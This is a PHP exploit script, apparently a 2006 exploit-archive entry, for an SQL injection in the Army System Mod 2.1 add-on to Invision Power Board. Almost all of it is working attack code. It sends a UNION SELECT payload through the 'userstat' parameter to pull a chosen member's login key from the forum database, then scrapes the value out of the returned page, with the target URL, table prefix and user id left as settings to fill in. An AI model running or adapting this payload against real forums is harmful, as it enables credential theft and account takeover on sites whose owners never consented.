Invision Power Board Army System Mod 2.1 - SQL Injection

<?php
/* --------------------------- EXPLOIT ---------------------------
Invision Power Board Army System Mod 2.1 SQL Injection Exploit
Tested on: Latest version (2.1.0)
Discovered on: 06.02.2006 by Alex & fRoGGz
Credits to: SecuBox Labs

PLEASE READ THIS !
The query of the SQL Injection depends about the number of fields in the sql table
We have successfully tested the exploit on a new fresh IPB 2.1.x with Army
System Mod 2.1 installed

IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

$target = "http://site.com/forums/"; // <--- Where ?
$prefix = "ibf_"; // <--- SQL prefix ?
$id = 1; // <--- Who ?

print_r(get_infos($target,$prefix,$id));
if(!get_infos($target,$prefix,$id)) echo "failed";

function get_infos($target,$prefix,$id) {

    $inject = "index.php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,";
    $inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,";
    $inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,NULL,NULL,";
    $inject.= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,";
    $inject.= "NULL+FROM+".$prefix."members+WHERE+id=";

    $filename = $target . $inject . $id;

    $handle = fopen ($filename, "r");
        $infos = array();

        if (feof($handle)) { continue 2; }
        if ( $handle ) {
                while ( ($buffer = fgets( $handle )) )
                {
                        if ( strpos( $buffer, "<td class='pformleft' width=\"35%\">Name</td>") ) {
                                $infos['md5'] = strip_tags ( fgets( $handle) );
                break;
                        }
                }
        }

    fclose ($handle);

        if (count($infos) == 1) return $infos;
        return false;
}
?>

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